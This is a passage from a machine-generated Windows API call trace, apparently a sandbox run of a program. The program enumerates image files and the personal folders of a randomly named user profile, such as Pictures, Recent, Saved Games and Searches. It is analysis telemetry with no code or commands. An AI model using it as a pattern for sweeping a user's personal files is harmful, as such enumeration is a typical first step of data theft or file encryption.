ftLastWriteTime.dwHighDateTime=0x1d99b75, nFileSizeHigh=0x0, nFileSizeLow=0x33b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8JEvlGSY7x.jpg", cAlternateFileName="8JEVLG~1.JPG")) returned 1 [0220.533] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db98840, ftCreationTime.dwHighDateTime=0x1d993f1, ftLastAccessTime.dwLowDateTime=0x3390120, ftLastAccessTime.dwHighDateTime=0x1d99b40, ftLastWriteTime.dwLowDateTime=0x3390120, ftLastWriteTime.dwHighDateTime=0x1d99b40, nFileSizeHigh=0x0, nFileSizeLow=0x2c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="c F7BGL5wTNhuyYU7Yq1.png", cAlternateFileName="CF7BGL~1.PNG")) returned 1 [0220.533] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecfea170, ftCreationTime.dwHighDateTime=0x1d998c5, ftLastAccessTime.dwLowDateTime=0x1c1f9e40, ftLastAccessTime.dwHighDateTime=0x1d99b0b, ftLastWriteTime.dwLowDateTime=0x1c1f9e40, ftLastWriteTime.dwHighDateTime=0x1d99b0b, nFileSizeHigh=0x0, nFileSizeLow=0x17513, dwReserved0=0x0, dwReserved1=0x0, cFileName="c7wYZYTssse21zV8O.jpg", cAlternateFileName="C7WYZY~1.JPG")) returned 1 [0220.533] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8985a90, ftCreationTime.dwHighDateTime=0x1d99ae2, ftLastAccessTime.dwLowDateTime=0x5e940380, ftLastAccessTime.dwHighDateTime=0x1d99cc1, ftLastWriteTime.dwLowDateTime=0x5e940380, ftLastWriteTime.dwHighDateTime=0x1d99cc1, nFileSizeHigh=0x0, nFileSizeLow=0x18279, dwReserved0=0x0, dwReserved1=0x0, cFileName="dJ0GFkN6Cip6y.gif", cAlternateFileName="DJ0GFK~1.GIF")) returned 1 [0220.534] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x704f6b30, ftCreationTime.dwHighDateTime=0x1d9901b, ftLastAccessTime.dwLowDateTime=0x21ba1f90, ftLastAccessTime.dwHighDateTime=0x1d9940a, ftLastWriteTime.dwLowDateTime=0x21ba1f90, ftLastWriteTime.dwHighDateTime=0x1d9940a, nFileSizeHigh=0x0, nFileSizeLow=0xb23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EuXJEawpPqVoiep.gif", cAlternateFileName="EUXJEA~1.GIF")) returned 1 [0220.534] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6101620, ftCreationTime.dwHighDateTime=0x1d98ee1, ftLastAccessTime.dwLowDateTime=0x923c3800, ftLastAccessTime.dwHighDateTime=0x1d99b96, ftLastWriteTime.dwLowDateTime=0x923c3800, ftLastWriteTime.dwHighDateTime=0x1d99b96, nFileSizeHigh=0x0, nFileSizeLow=0x3eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="KYVD7OtT3rFB.bmp", cAlternateFileName="KYVD7O~1.BMP")) returned 1 [0220.534] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb11cc970, ftCreationTime.dwHighDateTime=0x1d9943d, ftLastAccessTime.dwLowDateTime=0x4e08a80, ftLastAccessTime.dwHighDateTime=0x1d99adb, ftLastWriteTime.dwLowDateTime=0x4e08a80, ftLastWriteTime.dwHighDateTime=0x1d99adb, nFileSizeHigh=0x0, nFileSizeLow=0x7f6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LmHF8cm11 J.jpg", cAlternateFileName="LMHF8C~1.JPG")) returned 1 [0220.534] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5b867a0, ftCreationTime.dwHighDateTime=0x1d99c25, ftLastAccessTime.dwLowDateTime=0xa2cd5a90, ftLastAccessTime.dwHighDateTime=0x1d99c64, ftLastWriteTime.dwLowDateTime=0xa2cd5a90, ftLastWriteTime.dwHighDateTime=0x1d99c64, nFileSizeHigh=0x0, nFileSizeLow=0xc4cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q937oH49cNGy8K4rJIR.bmp", cAlternateFileName="Q937OH~1.BMP")) returned 1 [0220.534] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x836584d0, ftCreationTime.dwHighDateTime=0x1d99795, ftLastAccessTime.dwLowDateTime=0x2161e7d0, ftLastAccessTime.dwHighDateTime=0x1d99978, ftLastWriteTime.dwLowDateTime=0x2161e7d0, ftLastWriteTime.dwHighDateTime=0x1d99978, nFileSizeHigh=0x0, nFileSizeLow=0xa6b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vey_rDvsr_IoN2wg1y.png", cAlternateFileName="VEY_RD~1.PNG")) returned 1 [0220.535] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde153550, ftCreationTime.dwHighDateTime=0x1d99c32, ftLastAccessTime.dwLowDateTime=0x43ac31e0, ftLastAccessTime.dwHighDateTime=0x1d99c77, ftLastWriteTime.dwLowDateTime=0x43ac31e0, ftLastWriteTime.dwHighDateTime=0x1d99c77, nFileSizeHigh=0x0, nFileSizeLow=0xbe81, dwReserved0=0x0, dwReserved1=0x0, cFileName="WgJ2tKMasABA0Go0sCT8.bmp", cAlternateFileName="WGJ2TK~1.BMP")) returned 1 [0220.535] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde153550, ftCreationTime.dwHighDateTime=0x1d99c32, ftLastAccessTime.dwLowDateTime=0x43ac31e0, ftLastAccessTime.dwHighDateTime=0x1d99c77, ftLastWriteTime.dwLowDateTime=0x43ac31e0, ftLastWriteTime.dwHighDateTime=0x1d99c77, nFileSizeHigh=0x0, nFileSizeLow=0xbe81, dwReserved0=0x0, dwReserved1=0x0, cFileName="WgJ2tKMasABA0Go0sCT8.bmp", cAlternateFileName="WGJ2TK~1.BMP")) returned 0 [0220.535] FindClose (in: hFindFile=0x1d1f4bd0 | out: hFindFile=0x1d1f4bd0) returned 1 [0220.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0220.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0220.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.535] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Saved Pictures", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Saved Pictures", lpFilePart=0x0) returned 0x2d [0220.535] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Saved Pictures\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\saved pictures\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b1a6533, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1a6533, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1a6533, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f40f0 [0220.536] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b1a6533, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1a6533, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1a6533, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.536] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x2b1a6533, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1a6533, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1a6533, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.536] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.536] FindClose (in: hFindFile=0x1d1f40f0 | out: hFindFile=0x1d1f40f0) returned 1 [0220.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.537] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0220.537] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Saved Pictures", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Saved Pictures", lpFilePart=0x0) returned 0x2d [0220.537] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Pictures\\Saved Pictures\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\pictures\\saved pictures\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b1a6533, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1a6533, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1a6533, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4750 [0220.537] FindNextFileW (in: hFindFile=0x1d1f4750, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x2b1a6533, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1a6533, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1a6533, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.537] FindNextFileW (in: hFindFile=0x1d1f4750, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x2b1a6533, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1a6533, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1a6533, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.537] FindNextFileW (in: hFindFile=0x1d1f4750, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x2b1a6533, ftCreationTime.dwHighDateTime=0x1d70504, ftLastAccessTime.dwLowDateTime=0x2b1a6533, ftLastAccessTime.dwHighDateTime=0x1d70504, ftLastWriteTime.dwLowDateTime=0x2b1a6533, ftLastWriteTime.dwHighDateTime=0x1d70504, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0220.538] FindClose (in: hFindFile=0x1d1f4750 | out: hFindFile=0x1d1f4750) returned 1 [0220.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0220.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0220.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.538] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\PrintHood", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\PrintHood", lpFilePart=0x0) returned 0x1f [0220.538] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\PrintHood\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\printhood\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.540] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\PrintHood", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\PrintHood", lpFilePart=0x0) returned 0x1f [0220.541] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\PrintHood\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\printhood\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.543] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.543] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Recent", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Recent", lpFilePart=0x0) returned 0x1c [0220.543] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Recent\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\recent\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.545] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Recent", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Recent", lpFilePart=0x0) returned 0x1c [0220.545] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Recent\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\recent\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0220.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ef10) returned 1 [0220.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.548] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Saved Games", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Saved Games", lpFilePart=0x0) returned 0x21 [0220.548] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Saved Games\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\saved games\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f51d0 [0220.548] FindNextFileW (in: hFindFile=0x1d1f51d0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.549] FindNextFileW (in: hFindFile=0x1d1f51d0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43754b80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.549] FindNextFileW (in: hFindFile=0x1d1f51d0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.549] FindClose (in: hFindFile=0x1d1f51d0 | out: hFindFile=0x1d1f51d0) returned 1 [0220.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0220.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0220.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.549] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Saved Games", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Saved Games", lpFilePart=0x0) returned 0x21 [0220.549] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Saved Games\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\saved games\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4750 [0220.549] FindNextFileW (in: hFindFile=0x1d1f4750, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ceb0231, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.550] FindNextFileW (in: hFindFile=0x1d1f4750, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43754b80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.550] FindNextFileW (in: hFindFile=0x1d1f4750, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x43754b80, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x43754b80, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x43754b80, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0220.550] FindClose (in: hFindFile=0x1d1f4750 | out: hFindFile=0x1d1f4750) returned 1 [0220.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 1 [0220.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9ee60) returned 1 [0220.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0220.551] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Searches", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Searches", lpFilePart=0x0) returned 0x1e [0220.551] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Searches\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\searches\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43695fb2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5350 [0220.551] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43695fb2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.551] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x436bc315, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x436bc315, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0220.551] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x437a1142, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x437a1142, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x437a1142, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0220.552] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x4377acca, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x4377acca, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x4377acca, ftLastWriteTime.dwHighDateTime=0x1d70068, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0220.552] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.552] FindClose (in: hFindFile=0x1d1f5350 | out: hFindFile=0x1d1f5350) returned 1 [0220.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9eea0) returned 